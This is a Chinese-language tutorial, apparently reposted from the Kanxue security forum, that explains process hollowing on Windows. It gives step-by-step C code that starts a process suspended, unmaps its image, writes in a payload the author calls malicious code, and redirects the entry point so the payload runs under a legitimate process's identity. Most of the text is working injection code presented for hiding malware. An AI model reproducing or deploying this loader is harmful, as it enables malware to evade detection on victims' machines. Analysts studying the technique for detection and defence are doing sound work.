本文的進程替換是指將正在運行的程序的內存空間用惡意代碼替換掉. 若是被替換的進程是合法的進程, 那麼惡意代碼能夠披着合法的外衣幹壞事了. 固然壞事幹多了仍是會被發現的.
替換的過程以下:
1. 建立一個掛起狀態(SUSPEND)的進程, 此時進程的主線程還未開始運行.
2. 讀取主線程的上下文(CONTEXT), 並讀取新建立進程的基址.
3. 使用NtUnmapViewOfSection將新建立的進程的內存空間釋放掉, 隨後能夠開始填充惡意代碼.
4. 設置主線程的上下文, 啓動主線程.
一. 我將惡意代碼當成資源文件, 因此先將資源文件加載到內存中.函數
LPVOID ExtractRes(HMODULE hModule) { HRSRC hResInfo; HGLOBAL hResData; LPVOID lpResLock; DWORD dwSize; LPVOID lpAddr; hResInfo = FindResource(hModule, MAKEINTRESOURCE(101), _T("MALWARE")); hResData = LoadResource(hModule, hResInfo); lpResLock = LockResource(hResData); dwSize = SizeofResource(hModule, hResInfo); lpAddr = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy(lpAddr, lpResLock, dwSize); return lpAddr; }
二. 此時lpAddr指向惡意代碼的基址, 大小是dwSize. 建立一個掛起狀態的進程, 用CREATE_SUSPENDED指定.線程
STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0) { return -1; }
三. 讀取主線程的上下文, 用於恢復線程啓動時使用. 此時須要讀取新建立進程的基址, 用於NtUnmapViewOfSection函數.
讀取基址的方法: 此時context中的EBX是指向PEB的指針, 而在PEB偏移是8的位置存放了基址. 因爲PEB在新建立的進程的內存空間須要使用ReadProcessMemory來讀取.指針
CONTEXT context; context.ContextFlags = CONTEXT_FULL; if (GetThreadContext(pi.hThread, &context) == 0) { return -1; } // EBX points to PEB, offset 8 is the pointer to the base address if (ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &dwVictimBaseAddr, sizeof(PVOID), NULL) == 0) { return -1; }
四. 使用NtUnmapViewOfSection函數釋放內存空間, 而後在該空間申請一塊空間用於存放惡意代碼.
基址是pNtHeaders->OptionalHeader.ImageBase, 大小是pNtHeaders->OptionalHeader.SizeOfImage.進程
typedef ULONG (WINAPI *PFNNtUnmapViewOfSection) (HANDLE ProcessHandle, PVOID BaseAddress); HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll")); if (hNtModule == NULL) { hNtModule = LoadLibrary(_T("ntdll.dll")); if (hNtModule == NULL) { return -1; } } PFNNtUnmapViewOfSection pfnNtUnmapViewOfSection = (PFNNtUnmapViewOfSection)GetProcAddress(hNtModule, "NtUnmapViewOfSection"); if (pfnNtUnmapViewOfSection == NULL) { return -1; } pfnNtUnmapViewOfSection(pi.hProcess, (PVOID)dwVictimBaseAddr); lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess, (LPVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
五. 向新申請的空間寫入惡意代碼.內存
// Replace headers WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, lpMalwareBaseAddr, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL); // Replace each sections LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)lpMalwareBaseAddr + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); PIMAGE_SECTION_HEADER pSectionHeader; for (idx = 0; idx < pNtHeaders->FileHeader.NumberOfSections; ++idx) { pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr; WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)lpNewVictimBaseAddr + pSectionHeader->VirtualAddress), (LPCVOID)((DWORD)lpMalwareBaseAddr + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, NULL); lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER)); } // Replace the base address in the PEB DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase; WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
六. 設置上下文, 並啓動主線程. 須要注意的是, 程序的入口點是放在EAX寄存器中的.資源
// Replace Entry Point Address context.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread, &context); ResumeThread(pi.hThread);
七. 此時惡意代碼開始執行.*轉載請註明來自看雪論壇@PEdiy.com it